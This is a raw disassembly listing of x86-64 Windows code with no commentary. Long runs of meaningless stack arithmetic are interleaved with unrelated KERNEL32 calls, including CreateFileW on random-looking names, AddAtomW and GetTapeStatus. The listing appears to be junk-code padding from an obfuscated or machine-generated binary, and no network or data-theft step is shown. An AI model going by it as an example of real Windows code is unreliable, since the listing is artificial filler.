call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa850], eax
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2cc8], ax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69e0], eax
mov eax, dword [rsp + 0xa680]
mov ecx, dword [rsp + 0xa43c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14228]
mov rcx, qword [0x14028ee10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6e8], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ee50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147c0]
mov eax, dword [rax]
mov dword [rsp + 0xa898], eax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63e], al
mov rax, qword [rsp + 0x145e8]
movzx eax, word [rax]
mov word [rsp + 0x2da4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14410], rax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x664]
or eax, ecx
mov rcx, qword [rsp + 0x14878]
mov byte [rcx], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x22a8], ax
mov rax, qword [rsp + 0x14730]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9e00]
shl eax, cl
mov dword [rsp + 0x6b24], eax
mov rax, qword [rsp + 0x146c0]
mov ecx, dword [0x140282738]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa6e4], eax
mov edx, 0x15d4
mov rcx, qword [rsp + 0x148b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa89c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa3b0], eax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov byte [rsp + 0x6c4], al
movzx eax, word [rsp + 0x1860]
movzx ecx, word [rsp + 0x2be4]
and eax, ecx
mov word [0x140282754], ax
mov rax, qword [rsp + 0x14440]
mov rcx, qword [rsp + 0x14560]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa388], eax
mov eax, dword [rsp + 0xa770]
mov ecx, dword [rsp + 0xa704]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa83c], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov dword [rsp + 0xa8a0], eax
mov rax, qword [rsp + 0x14930]
mov rcx, qword [0x14028ee10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa71c], eax
mov rax, qword [rsp + 0x143b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6a6]
add eax, ecx
mov byte [rsp + 0x542], al
movzx eax, word [rsp + 0x157c]
movzx ecx, word [rsp + 0x1594]
and eax, ecx
mov word [rsp + 0x2ba4], ax
mov eax, dword [rsp + 0x76bc]
mov dword [rsp + 0xa8a4], eax
mov rax, qword [rsp + 0x141e8]
mov rcx, qword [rsp + 0x144f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7f4], eax
movzx eax, word [rsp + 0x1dc8]
mov word [0x14028ed20], ax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x696], al
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
mov byte [rsp + 0x6c5], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b94]
sub eax, ecx
mov word [rsp + 0x2bc4], ax
mov rax, qword [rsp + 0x14218]
mov ecx, dword [rsp + 0xa388]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6998], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa250]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x144a8]
mov dword [rcx], eax
mov eax, dword [0x140282714]
movzx ecx, al
mov eax, dword [rsp + 0x7c9c]
sar eax, cl
mov dword [rsp + 0xa500], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov dword [rsp + 0xa8a8], eax
mov eax, dword [rsp + 0x8b64]
mov ecx, dword [rsp + 0xa878]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa43c], eax
lea rax, [rsp + 0x2c6c]
mov qword [rsp + 0x14978], rax
lea rax, [rsp + 0x651]
mov qword [0x14028ed18], rax
mov eax, dword [rsp + 0xa684]
mov rcx, qword [rsp + 0x147d0]
mov qword [rsp + 0x14980], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14980]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa824], eax
mov eax, dword [0x14028ed7c]
mov ecx, dword [rsp + 0xa044]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3c0], eax
lea rax, [rsp + 0xa2cc]
mov qword [rsp + 0x14988], rax
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x64b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f54], eax
mov rax, qword [rsp + 0x147c8]
movzx eax, byte [rax]
mov byte [rsp + 0x6c6], al
movzx eax, word [rsp + 0x2b4c]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d14], ax
movsx eax, word [rsp + 0x2d60]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1dc8], ax
mov rax, qword [rsp + 0x13ea8]
movzx eax, byte [rax]
mov byte [rsp + 0x6c7], al
mov rax, qword [0x14028ee28]
mov rcx, qword [rsp + 0x14560]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028ee30], eax
mov rax, qword [rsp + 0x14988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x72c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e0], eax
lea rax, [rsp + 0x2b20]
mov qword [rsp + 0x14990], rax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x674]
and eax, ecx
mov byte [rsp + 0x633], al
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa730]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9784], eax
mov rax, qword [0x14028ee38]
mov ecx, dword [rsp + 0xa52c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa85c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d70], eax
mov eax, dword [rsp + 0xa438]
mov dword [rsp + 0xa8ac], eax
movzx eax, word [rsp + 0x2d34]
movzx ecx, word [rsp + 0x2cc4]
xor eax, ecx
mov word [rsp + 0x2574], ax
movzx eax, byte [rsp + 0x674]
mov rcx, qword [rsp + 0x14878]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140281e2f], al
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov dword [rsp + 0xa8b0], eax
mov rax, qword [rsp + 0x14630]
mov rcx, qword [rsp + 0x14140]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa664], eax
mov eax, dword [rsp + 0xa718]
movzx ecx, al
mov eax, dword [rsp + 0xa898]
sar eax, cl
mov dword [rsp + 0xa390], eax
mov eax, dword [rsp + 0xa730]
mov ecx, dword [rsp + 0x8dc8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d50], eax
mov eax, dword [rsp + 0xa834]
mov ecx, dword [rsp + 0x68c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa710], eax
mov rax, qword [rsp + 0x14138]
movzx eax, word [rax]
mov word [rsp + 0x2da8], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x695]
sub eax, ecx
mov byte [rsp + 0x6af], al
movzx eax, byte [rsp + 0x690]
movzx ecx, byte [rsp + 0x6b4]
add eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140282788], ax
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov dword [rsp + 0xa8b4], eax
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4c8], eax
lea rax, [rsp + 0x68f]
mov qword [rsp + 0x14998], rax
movzx eax, word [rsp + 0x2ca8]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14978]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2b70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cb0], ax
lea rax, [rsp + 0xa660]
mov qword [rsp + 0x149a0], rax
mov eax, dword [rsp + 0x8be0]
mov ecx, dword [rsp + 0xa7ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa408], eax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x141f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7c8], eax
lea rax, [rsp + 0x7720]
mov qword [rsp + 0x149a8], rax
lea rcx, str.RCk5P9O_e0k
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ccc], ax
movzx eax, byte [rsp + 0x631]
mov rcx, qword [0x14028ed80]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14028ee20]
mov byte [rcx], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b40]
xor eax, ecx
mov word [rsp + 0x26c8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.8M_szwRtwOX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x149b0], rax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa790]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dc0], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa41c]
shl eax, cl
mov dword [rsp + 0xa420], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa7b8], eax
movsx eax, word [rsp + 0x1fa0]
movsx ecx, word [rsp + 0x1dec]
sub eax, ecx
mov word [rsp + 0x20f4], ax
mov rax, qword [rsp + 0x14678]
movzx eax, byte [rax]
mov byte [rsp + 0x6c8], al
movzx eax, word [0x14028273c]
movzx ecx, word [rsp + 0x1840]
and eax, ecx
mov word [rsp + 0x1e20], ax
movzx eax, byte [rsp + 0x65c]
mov byte [rsp + 0x6c9], al
mov eax, dword [rsp + 0x9f90]
mov ecx, dword [rsp + 0xa584]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64b4], eax
mov eax, dword [rsp + 0xa6a8]
mov ecx, dword [0x1402826c8]
sub ecx, eax
mov eax, ecx
mov dword [0x1402827a8], eax
mov rax, qword [rsp + 0x14348]
mov rcx, qword [rsp + 0x144f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa480], eax
mov rax, qword [rsp + 0x14380]
mov rcx, qword [0x14028ee10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7200], eax
mov rax, qword [rsp + 0x14288]
mov ecx, dword [rsp + 0xa5b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8e48], eax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
mov byte [rsp + 0x6ca], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14498]
mov word [rcx], ax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa50c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa734], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14128], rax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
mov dword [rsp + 0xa8b8], eax
mov rax, qword [0x14028ed40]
mov rcx, qword [rsp + 0x14178]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8ba4], eax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x149b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x149b8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402827ac], eax
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
mov word [rsp + 0x2dac], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x633]
or eax, ecx
mov byte [rsp + 0x5e9], al
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2474], ax
movsx eax, byte [rsp + 0x64f]
movsx ecx, byte [0x140281ddb]
sar eax, cl
mov byte [rsp + 0x696], al
mov rax, qword [rsp + 0x147d0]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x81a0], eax
mov rcx, qword [rsp + 0x14368]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xa4e0]
mov qword [rsp + 0x149c0], rax
movzx eax, byte [rsp + 0x68d]
mov rcx, qword [rsp + 0x14700]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x172], al
movzx eax, word [rsp + 0x2b90]
mov word [rsp + 0x2db0], ax
mov rax, qword [rsp + 0x14840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7c28]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ee38]
mov dword [rcx], eax
lea rcx, [rsp + 0x21a90]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [rsp + 0xa544]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa504], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x877c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov dword [rsp + 0xa8bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa614], eax
movzx eax, word [rsp + 0x2bcc]
movzx ecx, word [rsp + 0x2d8c]
add eax, ecx
mov word [rsp + 0x2d14], ax
lea rax, [rsp + 0x678]
mov qword [rsp + 0x149c8], rax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94dc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x145b8]
mov ecx, dword [rsp + 0xa710]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x149c0]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.5dX7Ln0K3K9EnTlL6Ovwn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x149d0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa870], eax
lea rax, [rsp + 0xa6dc]
mov qword [rsp + 0x149d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13ff0], rax
mov rax, qword [rsp + 0x14098]
mov ecx, dword [rsp + 0xa778]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028ee44], eax
mov eax, dword [rsp + 0xa338]
mov ecx, dword [rsp + 0xa590]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa740], eax
mov rax, qword [rsp + 0x142c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15e8], ax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x619]
or eax, ecx
mov byte [rsp + 0x24d], al
lea rax, [rsp + 0x6c1]
mov qword [rsp + 0x149e0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14318], rax
movzx eax, word [rsp + 0x2c34]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14600]
mov word [rcx], ax
mov rax, qword [0x14028ee60]
mov rcx, qword [rsp + 0x149d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov eax, dword [rsp + 0x8b90]
mov dword [rsp + 0xa8c0], eax
movzx eax, word [rsp + 0x2bfc]
movzx ecx, word [rsp + 0x1f4c]
shl eax, cl
mov word [rsp + 0x2b60], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.4dyiPc0bKjtRiBvQZvMIHpFLfP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x149e8], rax
movzx eax, byte [rsp + 0x5d1]
mov byte [0x14028ed10], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa4b4], eax
mov eax, dword [rsp + 0x66f4]
mov dword [rsp + 0xa8c4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13ff0], rax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa650], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea rcx, [rsp + 0x24350]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa8c8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x48a
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa6d0], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov ecx, dword [0x140282738]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa54c], eax
lea rdx, [rsp + 0xa69c]
mov rcx, qword [rsp + 0x14848]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa8cc], eax
mov eax, dword [rsp + 0x7c28]
mov ecx, dword [rsp + 0xa6dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ed4], eax
movzx eax, byte [rsp + 0x675]
mov rcx, qword [rsp + 0x149c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x666], al
movzx eax, word [rsp + 0x2b60]
mov word [rsp + 0x2db4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0x147a8]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7790], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa888], eax
mov rax, qword [rsp + 0x14138]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140282764], ax
movzx eax, byte [rsp + 0x634]
mov byte [rsp + 0x6cb], al
movzx eax, byte [rsp + 0x3ed]
movzx ecx, byte [0x14028ed78]
add eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27e4], ax
mov eax, dword [0x14028edc4]
mov ecx, dword [rsp + 0x84a4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa450], eax
mov eax, dword [rsp + 0xa474]
mov ecx, dword [rsp + 0x976c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa380], eax
mov eax, dword [rsp + 0xa3b4]
mov dword [rsp + 0xa8d0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x149a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x146f8]
mov qword [rsp + 0x149f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x149f0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8b98], eax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov dword [rsp + 0xa8d4], eax
movzx eax, byte [rsp + 0x6ba]
movzx ecx, byte [rsp + 0x678]
shl eax, cl
mov byte [rsp + 0x68e], al
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402827b0], ax
mov rax, qword [rsp + 0x14378]
mov rcx, qword [rsp + 0x14228]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f2c], eax
mov rax, qword [rsp + 0x141d0]
mov rcx, qword [rsp + 0x14970]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa654], eax
mov rax, qword [0x14028edd0]
mov ecx, dword [rsp + 0x872c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x146c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8bc0]
mov dword [rsp + 0xa8d8], eax
movzx eax, word [rsp + 0x2d5c]
mov rcx, qword [rsp + 0x14388]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c7c], ax
movzx eax, byte [rsp + 0x65c]
mov byte [rsp + 0x6cc], al
mov rax, qword [rsp + 0x146d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6a7], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x13ee8], rax
movsx eax, word [rsp + 0x2ce0]
movsx ecx, word [rsp + 0x15e8]
add eax, ecx
mov word [rsp + 0x2d20], ax
mov rax, qword [rsp + 0x14380]
mov ecx, dword [rsp + 0xa508]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028edc4], eax
mov eax, dword [rsp + 0xa8d0]
mov dword [rsp + 0xa8dc], eax
mov rax, qword [rsp + 0x147b0]
movzx eax, word [rax]
movzx ecx, word [0x140282754]
add eax, ecx
mov word [rsp + 0x27e4], ax
movzx eax, byte [rsp + 0x684]
mov rcx, qword [rsp + 0x14878]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x451], al
mov rax, qword [rsp + 0x14640]
mov ecx, dword [rsp + 0x6500]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9108], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14510]
mov qword [rsp + 0x149f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x149f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x976c], eax
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
mov dword [rsp + 0xa8e0], eax
mov eax, dword [rsp + 0xa4e4]
movzx ecx, al
mov eax, dword [rsp + 0xa7c4]
sar eax, cl
mov dword [rsp + 0xa578], eax
lea rax, [0x1402827b0]
mov qword [rsp + 0x14a00], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14a08], rax
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140281e32], al
mov rax, qword [rsp + 0x147d0]
mov ecx, dword [rsp + 0xa408]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x976c], eax
mov rax, qword [rsp + 0x146f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa844]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8dc8], eax
mov eax, dword [rsp + 0xa38c]
mov dword [rsp + 0xa8e4], eax
mov rax, qword [rsp + 0x145b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa670]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa804]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ca0], eax
movsx eax, byte [rsp + 0x680]
movsx ecx, byte [rsp + 0x654]
sub eax, ecx
mov byte [rsp + 0x658], al
mov rax, qword [rsp + 0x14448]
movzx eax, word [rax]
mov word [rsp + 0x2db8], ax
movzx eax, word [rsp + 0x2d80]
movzx ecx, word [rsp + 0x221c]
sub eax, ecx
mov word [rsp + 0x2db4], ax
lea rax, [rsp + 0x6bf]
mov qword [0x14028ed08], rax
mov rax, qword [0x14028eea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8bc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a0], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov dword [rsp + 0xa8e8], eax
movzx eax, byte [rsp + 0x491]
mov rcx, qword [rsp + 0x142a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14548]
mov byte [rcx], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x24e0], ax
mov eax, dword [rsp + 0xa41c]
mov ecx, dword [rsp + 0x9930]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa670], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa3f0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa160], eax
mov rax, qword [rsp + 0x145b8]
mov eax, dword [rax]
mov dword [rsp + 0xa8ec], eax
mov eax, dword [rsp + 0x7730]
movzx ecx, al
mov eax, dword [rsp + 0xa420]
shl eax, cl
mov dword [rsp + 0xa3dc], eax
mov rax, qword [rsp + 0x148a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24e0]
xor eax, ecx
mov word [0x14028ed8c], ax
mov rax, qword [rsp + 0x14888]
movzx eax, byte [rax]
mov byte [rsp + 0x6cd], al
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7d8]
shr eax, cl
mov rcx, qword [rsp + 0x14510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14640]
mov rcx, qword [0x14028ed40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x144c0]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movsx eax, byte [rsp + 0x66c]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x621], al
lea rcx, [rsp + 0x22638]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x1598]
movsx ecx, word [0x1402826b8]
sub eax, ecx
mov word [rsp + 0x2b24], ax
movzx eax, word [rsp + 0x2958]
mov word [rsp + 0x2dbc], ax
mov rax, qword [rsp + 0x145a8]
movzx eax, byte [rax]
